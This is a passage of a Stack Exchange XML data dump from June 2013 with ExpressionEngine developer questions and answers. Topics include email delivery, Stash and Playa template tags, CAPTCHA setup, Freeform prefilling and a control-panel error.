  <row Id="11362" PostTypeId="1" CreationDate="2013-06-19T13:39:15.650" Score="1" ViewCount="46" Body="&lt;p&gt;I currently have two sites I'm working on right now which utilize the built in email module. I can fill the form out, hit submit and I get a message saying it's been sent, but it never gets sent. I can also use the communicate field, and again, nothing gets sent although I get confirmation that it did indeed send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While trouble shooting I've come across the suggestion that I check the database table called &quot;exp_postmaster_mailbox&quot; and I wonder if I may have found my issue - there is no &quot;exp_postmaster_mailbox&quot; in my database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a corrupt install? It doesn't work live or local. It also doesn't matter whether I use phpmail, sendgrid, or smtp. None send all, all give confirmation that it sent out.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-06-21T15:11:23.440" Title="Attempting to trouble shoot email issues but I have no exp_postmaster_mailbox" Tags="|php|email|database|mailing|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11363" PostTypeId="2" ParentId="11350" CreationDate="2013-06-19T13:44:54.330" Score="2" Body="&lt;p&gt;This isn't clear from the docs, but you must call one these two methods prior to calling &lt;code&gt;get_settings&lt;/code&gt;: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_fields.html#setup-entry-settings&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;setup_entry_settings&lt;/code&gt;&lt;/a&gt; or this method which is undocumented and takes no parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_fields-&amp;gt;fetch_custom_channel_fields();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-06-19T13:44:54.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11364" PostTypeId="2" ParentId="11361" CreationDate="2013-06-19T13:54:17.947" Score="2" Body="&lt;p&gt;I am from Objective HTML and created Postmaster. This is a highly requested feature and is rather difficult to solve, since there are so many ways one can solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my mind there are 3 ways to do it, none of which are available out of the box in Postmaster, &lt;em&gt;yet&lt;/em&gt;. The Postmaster API is more than capable of handling this stuff, but not without some advanced knowledge of OOP and PHP.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new list in MailChimp or CampaignMonitor each time an entry is created. I have proposed a FT that would facilitate adding/removing emails from this list in the CP/Safecracker. There are already tags to subscribe/unsubscribe from the front-end, but there is current no mechanism to create the list programmatically. This is in the works, and is the ultimate solutions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a mailing list using Matrix. So you would use Safecracker, or some other custom solution to add emails to a matrix field within each entry. In Postmaster 1.4 (the next major release) this will be available. I already have it built, but it's not yet released. I built this recently for somebody who has too many entries, and didn't need MailChimp or CM, so I used Mandrill to send the emails that were stored in a Matrix field. This is a new email service, it's really easy to use and quite effective, but it doesn't do the &quot;subscribing&quot; (just the sending).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the EE Mailing List module in some fashion. I have been avoiding integrating this for a while simply because it's not a very good module (programmatically speaking). It's not extendible and does a poor job of sending email. The only way I could think to use it better is use a transactional email API to send the emails, but use the Mailing List Module as the gatekeeper for the actual email addresses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can't advise on the other solutions, but I will say that Postmaster was built to solve these same exact problems. As of now, only the sending portion of that problem has been solved out of the box with Postmaster, but the subscription part is just as important and definitely needs addressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have more questions feel free to email &lt;a href=&quot;http://support@objectivehtml.com&quot; rel=&quot;nofollow&quot;&gt;support@objectivehtml.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-06-19T13:54:17.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11365" PostTypeId="1" CreationDate="2013-06-19T13:55:29.493" Score="2" ViewCount="92" Body="&lt;p&gt;Im trying to exclude a specific category from a playa loop.&#xA;As the doc says, most of the exp:channel:entries parameters are available so I've added the category parameter to the playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i declare a category inside the paya tag as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_playa_field category=&quot;16&quot;}&#xA;...&#xA;{/my_playa_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all works like a charm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_playa_field category=&quot;not 16&quot;}&#xA;...&#xA;{/my_playa_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it simply doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where am I wrong?&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2013-08-19T16:11:16.797" Title="How to exclude a category from a Playa field?" Tags="|playa|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11366" PostTypeId="2" ParentId="11354" CreationDate="2013-06-19T14:47:43.993" Score="1" Body="&lt;p&gt;I don't think Search is an available parameter for the Parents tag pair: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#id9&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#id9&lt;/a&gt;&#xA;That might be throwing off the orderby parameter as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could get more than 1 entry in your Parents loop and use conditionals to filter through those for entries with publication_type book. Or you could use something like &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to save your Parents info as a variable list, and then output it separately, which would give you more control with sort and filter.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-19T14:47:43.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11367" PostTypeId="1" CreationDate="2013-06-19T15:43:02.850" Score="0" ViewCount="86" Body="&lt;p&gt;I'd like to be able to be in an entry text area and make a link to a file I upload. Once uploaded, I see a button to &quot;Edit File&quot; but that only lets you define the meta fields, it doesn't contain the &quot;Categories&quot; tab, like what you'd see if you went to edit the file from File Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to go to File Manager to specify categories, or is there an easy way to do it from the Upload File/Browse Server dialog that I don't know about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-02-14T01:32:49.477" Title="Can I upload a file and assign a category without going to File Manager?" Tags="|file-uploads|categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11368" PostTypeId="2" ParentId="11265" CreationDate="2013-06-19T18:52:24.297" Score="1" Body="&lt;p&gt;It turns out the non-rendering tags were actually within a &lt;em&gt;different&lt;/em&gt; field... something other than the body text field that had the parse_vars=&quot;yes&quot; parameter set. Something apparently changed in a recent version of Stash or CE Cache that caused those tags to no longer be processed. I'm not sure why it was working before but it was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the parse_vars=&quot;yes&quot; to the other field solved this specific issue.&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-06-19T18:52:24.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11369" PostTypeId="1" CreationDate="2013-06-19T20:03:10.900" Score="2" ViewCount="245" Body="&lt;p&gt;I have three sites that I'm adding CAPTCHAs to (www.hoekstratruck.com/index.php/contact, www.hoekstratransportation.com/index.php/contact, and www.hoekstraspecialty.com/index.php/contact/ctest).  On the first two, the captcha works fine.  It shows up and says that it is required to submit the form.  On the third site, however, when I include the {if captcha} tag, nothing shows up.  If I leave that tag out, just having &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;Please enter the word you see in the image below:&amp;lt;br/&amp;gt;&#xA;    {captcha}&amp;lt;br /&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it displays the prompt and the text box, but not the image (and it doesn't print &quot;{captcha}&quot; either).  I have double checked that the server path and image html path are both correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All three sites are running off EE v1.7.1 and I don't see any difference in how the first two sites are set up compared to the third site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2013-06-19T21:06:14.480" Title="CAPTCHA not registering as on/Image not appearing" Tags="|ee1|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11371" PostTypeId="1" CreationDate="2013-06-19T20:05:02.170" Score="1" ViewCount="89" Body="&lt;p&gt;I am writing a module that will require a lot of javascript for ajax and instead of building this in the mcp file I wish to do this as straight js files and include them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I will need to post data back using the XID and this can be done in pure JS, as per:&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/171401/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/171401/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now that's great, i can use EE.XID in JS but can i get any other variables, eg base url etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if so is there a list as i cannot even find the EE.XID documentation.&lt;/p&gt;&#xA;" OwnerUserId="619" LastActivityDate="2013-06-19T20:15:35.853" Title="EE2 JS variables" Tags="|ee2|control-panel|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11372" PostTypeId="2" ParentId="11371" CreationDate="2013-06-19T20:15:35.853" Score="1" Body="&lt;p&gt;OK I have found them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically dumped the EE var into the console and took a look - dont know why i didnt think about that..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so heres a list of variable that can be used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BASE &#xA;CP_SIDEBAR_STATE&#xA;PATH_CP_GBL_IMG&#xA;SESS_TIMEOUT&#xA;SESS_TYPE&#xA;THEME_URL&#xA;XID&#xA;XID_TIMEOUT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps others&lt;/p&gt;&#xA;" OwnerUserId="619" LastActivityDate="2013-06-19T20:15:35.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11373" PostTypeId="2" ParentId="11352" CreationDate="2013-06-19T20:40:57.290" Score="6" Body="&lt;p&gt;After some help from the wonderful Mr. Croxton I was able to sort it out. Here is how to pull this off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When grabbing the data in your model you need to stash the {entry_id} of the parent list (I call mine {e_id} for no real reason). Then, when setting the nested list, provide context with the {entry_id} by using name=&quot;employees_{entry_id}&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;  name=&quot;listing&quot;&#xA;  parse_tags=&quot;yes&quot;&#xA;  parse_depth=&quot;2&quot;&#xA;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;ch_company_location&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    {global:param_disable_default}&#xA;  }&#xA;      {stash:e_id}{entry_id}{/stash:e_id}&#xA;      {stash:some_var}{cf_var_goes_here}{/stash:some_var}&#xA;      {!-- This is a Matrix Field --}&#xA;      {exp:stash:set_list:nested name=&quot;employees_{entry_id}&quot;}&#xA;        {cf_matrix_field}&#xA;          {stash:var_one}{cf_var_1}{/stash:var_one}&#xA;          {stash:var_two}{cf_var_2}{/stash:var_two}&#xA;          {stash:var_three}{cf_var_3}{/stash:var_three}&#xA;        {/cf_matrix_field}&#xA;      {/exp:stash:set_list:nested}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When getting the list you need to add a prefix to your lists (parent and nested) so that {count}, {switch}, and {total_results} work as intended. You also need to provide the nested list context using the stashed entry_id from the parent list. {e_id} in this case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Set the primary content area --}&#xA;{exp:stash:set&#xA;  name=&quot;content-primary&quot;&#xA;  output=&quot;no&quot;&#xA;  parse_conditionals=&quot;no&quot;&#xA;  parse_tags=&quot;no&quot;&#xA;  parse_vars=&quot;yes&quot;&#xA;}&#xA;  {exp:stash:get_list&#xA;    name=&quot;listing&quot;&#xA;    prefix =&quot;employees&quot;&#xA;  }&#xA;    {if employees:count == 1}&#xA;      &amp;lt;div class=&quot;employees&quot;&amp;gt;&#xA;    {/if}&#xA;    {exp:stash:get_list:nested&#xA;      name=&quot;employees_{e_id}&quot;&#xA;      prefix =&quot;employee&quot;&#xA;    }&#xA;      &amp;lt;div class=&quot;employee {employee:switch=&quot;first||last&quot;}&quot;&amp;gt;&#xA;        &amp;lt;dl&amp;gt;&#xA;          &amp;lt;dt&amp;gt;{var_one}&amp;lt;/dt&amp;gt;&#xA;          &amp;lt;dd&amp;gt;{var_two}&amp;lt;/dd&amp;gt;&#xA;          &amp;lt;dd&amp;gt;{var_three}&amp;lt;/dd&amp;gt;&#xA;        &amp;lt;/dl&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;    {if employees:count == employees:total_results}&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;!-- /END .employees --&amp;gt;&#xA;    {/if}&#xA;  {/exp:stash:get_list}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="219" LastActivityDate="2013-06-19T20:40:57.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11374" PostTypeId="2" ParentId="11369" CreationDate="2013-06-19T21:06:14.480" Score="2" Body="&lt;p&gt;This has bitten me a few times and it has always been a path issue. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/captcha_preferences.html&quot; rel=&quot;nofollow&quot; title=&quot;Captcha Preferences&quot;&gt;Double check your captcha preferences&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure the captcha directory/folder is writable by your webserver&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2013-06-19T21:06:14.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11375" PostTypeId="1" CreationDate="2013-06-20T05:37:42.053" Score="5" ViewCount="708" Body="&lt;p&gt;I'm trying to secure my install of EE by following the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html&quot; rel=&quot;nofollow&quot;&gt;instructions here&lt;/a&gt;, which involve moving my system directory above my web root, and renaming it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site loads fine, and I can even navigate to parts of the control panel by deep-linking into CP sections. However, when visiting the CP home, I get the following PHP error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function send_ajax_response() on a non-object in&#xA;/Users/charlesgallant/ ... path ... /stem/expressionengine/core/EE_Exceptions.php&#xA;on line 62&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;--&#xA;EE 2.6.1, running on &#xA;Apache 2.2.3, with php 5.3.2 (and have tested 5.4.10)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File Permissions&lt;/li&gt;&#xA;&lt;li&gt;Disabling plugins&lt;/li&gt;&#xA;&lt;li&gt;Others who have found this error have mis-named some folders or failed an upgrade, but that doesn't appear to be the case here.&lt;/li&gt;&#xA;&lt;li&gt;Making sure the paths in all my config files are correct (which they MUST be, if I can access my site AND sections of my control panel).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've tried commenting out some offending blocks of code around line 62, and I was able to raise this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to load your default controller. Please make sure the controller &#xA;specified in your Routes.php file is valid.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and yes, this file appears valid to the best of my knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts are appreciated - thanks in advance =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;==UPDATE==&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can subvert this error and at least render the login page by adding blank query parameters to the url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visiting &lt;code&gt;myDomain.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=login&lt;/code&gt; works,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visiting &lt;code&gt;myDomain.com/admin.php?&lt;/code&gt; throws the above fatal PHP error. How is this possible!?!? Either way, I still can't see the actual homepage for my control panel, so I can't accept this workaround.&lt;/p&gt;&#xA;" OwnerUserId="1626" LastEditorUserId="69" LastEditDate="2013-10-23T10:35:01.920" LastActivityDate="2013-10-26T01:47:02.200" Title="Error on CP homepage from core/EE_Exceptions.php" Tags="|control-panel|php|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11376" PostTypeId="1" CreationDate="2013-06-20T08:08:29.653" Score="2" ViewCount="138" Body="&lt;p&gt;Firstly, I &lt;em&gt;think&lt;/em&gt; the files should have unique names by default - nevertheless a problem came up yesterday in which one member's images were being displayed in place of another member's images because they had the same file names (it could possibly be a case sensitivity issue come to think of it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Matrix cell that contains a Safecracker file field. The purpose of this is to allow members to upload a series of photos, captions etc to an entry they are creating via the Safecracker form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that it appears some of the images being uploaded have the same filenames. In my tests it appears that the files are appended with a number if there is a duplicate so I'm a little confused as to how this happened in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 'solution' would be to prefix the filenames with the member ID. This should ensure that even if an image is overwritten it will be by the same member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this extension &lt;a href=&quot;https://github.com/rsanchez/safecracker_file_add_prefix&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/safecracker_file_add_prefix&lt;/a&gt; which could do the trick but I am having trouble getting it to work in a Matrix - I think it may be a step too far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm looking for ideas and/or a solution!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the answer is to somehow convert the filenames to lowercase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: The issue was definitely caused by case insensitivity.&#xA;The image pool.jpg was being displayed in place of Pool.jpg&#xA;The server allows for the difference between upper and lowercase but it appears that ExpressionEngine or Matrix does not.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-06-20T11:24:17.280" LastActivityDate="2013-06-20T16:16:28.397" Title="How can I control the filenames of files uploaded via SAEF/Safecracker using Safecracker File in a Matrix?" Tags="|safecracker|saef|files|filename|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11378" PostTypeId="1" AcceptedAnswerId="11389" CreationDate="2013-06-20T11:21:52.250" Score="1" ViewCount="215" Body="&lt;p&gt;EE requires screen_names to be unique. Previously, in conjunction with Profile:Edit, I have appended {current_time} on to the end of a user's screen_name during registration to workaround this (it's not used anywhere on the front end so is useless to me). However, the screen_name variable is used in the default forgotten password email, and there are no other suitable variables available in that email template. So I'm finally resorting to a hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 227 of system/libraries/Validate.php there is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        /** -------------------------------------&#xA;        /**  Is screen name taken?&#xA;        /** -------------------------------------*/&#xA;&#xA;        if (strtolower($this-&amp;gt;cur_screen_name) != strtolower($this-&amp;gt;screen_name))&#xA;        {&#xA;            $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT COUNT(*) AS count FROM exp_members WHERE screen_name = '&quot;.$this-&amp;gt;EE-&amp;gt;db-&amp;gt;escape_str($this-&amp;gt;screen_name).&quot;'&quot;);&#xA;&#xA;            if ($query-&amp;gt;row('count')  &amp;gt; 0)&#xA;            {                           &#xA;                $this-&amp;gt;errors[] = $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('screen_name_taken');&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone foresee any problems with simple commenting out this whole block? Is there even a reason I haven't thought of as to why screen_names should be unique?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-20T17:14:39.673" Title="Hacking around EE's requirement for unique screen_names" Tags="|registration|screen-name|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11379" PostTypeId="1" CreationDate="2013-06-20T13:34:47.423" Score="1" ViewCount="158" Body="&lt;p&gt;So i'm trying to stash a category custom field from within a categories tag pair that is within a Playa parents tag pair, and then retrieve it for use outside of the Playa parents tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've got so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;campus&quot; category=&quot;not 156&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;   {exp:playa:parents channel=&quot;classes&quot; category=&quot;304&quot; disable=&quot;&quot;}&#xA;      {categories}&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            {classes_wufoo_id}&#xA;         {/exp:stash:set}&#xA;      {/categories}&#xA;   {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:get name=&quot;wufoo_id&quot; process=&quot;end&quot;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure why this isn't working. &lt;i&gt;process=&quot;end&quot;&lt;/i&gt; should be forcing the get to wait to parse until the set has parsed, even though it is before the set in the parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;EE 2.5.1, Playa 4.3.3 &amp;amp; Stash 2.1&lt;/b&gt;&lt;/p&gt;&#xA;" OwnerUserId="938" LastActivityDate="2013-06-24T17:51:11.210" Title="Stash, Playa Parents &amp; Categories" Tags="|playa|categories|stash|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11380" PostTypeId="1" CreationDate="2013-06-20T14:28:21.663" Score="0" ViewCount="645" Body="&lt;p&gt;I have a channel &quot;activities&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template the activities look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Activity titel 1&lt;/strong&gt; | 10-10-2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some description text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sign-up for this activity &gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Activity titel 2 | 23-11-2013&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some description text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sign-up for this activity &gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Activity titel 3 | 24-11-2013&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some description text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sign-up for this activity &gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When somebody clic on &quot;sign-up for this activity &gt;&gt;&quot; you go to a form (I use Freeform)&#xA;and I want the &quot;Activity titel&quot; and the activity Date to be already fill, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Activity: Activity titel 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Date: 10-10-2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adress:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;email:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;submit button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People just have to fill their name, address and email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastEditorUserId="115" LastEditDate="2013-06-21T00:10:16.323" LastActivityDate="2013-06-21T00:10:16.323" Title="How to prepopulate Freeform input values from a channels data?" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11381" PostTypeId="2" ParentId="11380" CreationDate="2013-06-20T14:53:52.893" Score="0" Body="&lt;p&gt;In the freeform tag, specify the &quot;value&quot; for each option you want pre-populated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taken and modified from the freefrom docs page here... &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#tellafriend_form&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#tellafriend_form&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;tell_a_friend&quot;}&#xA;&#xA;&amp;lt;p&amp;gt;Your Name: &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;John Doe&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Your Email: &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;johns@email.com&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt; Comments:&amp;lt;br /&amp;gt;&#xA;    &amp;lt;textarea name=&quot;comments&quot;&amp;gt;&#xA;        Hey there! You should check out this site - it’s totally awesome!&#xA;    &amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Send!&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also set the fields as hidden so the user cannot change them, plus there may not be the need to make the form more complicated by displaying additional fields that are not going to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this points in the right direction, be sure to check out all the docs, solspace has excellant documentation.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-06-20T14:53:52.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11382" PostTypeId="2" ParentId="11379" CreationDate="2013-06-20T15:01:15.523" Score="1" Body="&lt;p&gt;process=&quot;end&quot; looks like the correct approach, unfortunatly that was not implemented into Stash until version 2.2 - looks like you will need to upgrade stash to use that feature :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the snippet from the changelog... &lt;a href=&quot;https://github.com/croxton/Stash#new-in-v220&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash#new-in-v220&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;New in v2.2.0&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{stash:embed} - embed a Stash template file at different points in the&#xA;  parse order of the host template: start (before template parsing),&#xA;  inline (normal), end (post-process after normal template parsing has&#xA;  completed).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-06-20T15:01:15.523" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11383" PostTypeId="2" ParentId="11365" CreationDate="2013-06-20T15:13:45.087" Score="1" Body="&lt;p&gt;I have not used playa in a while, but just to make sure before I look further into this, what do you get when you use the &quot;not 16&quot; parameter, any output at all?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure that there a values that are not category 16?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe try...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_playa_field category=&quot;15&quot;}&#xA;...&#xA;{/my_playa_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to assure you have valid data to return.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-06-20T15:13:45.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
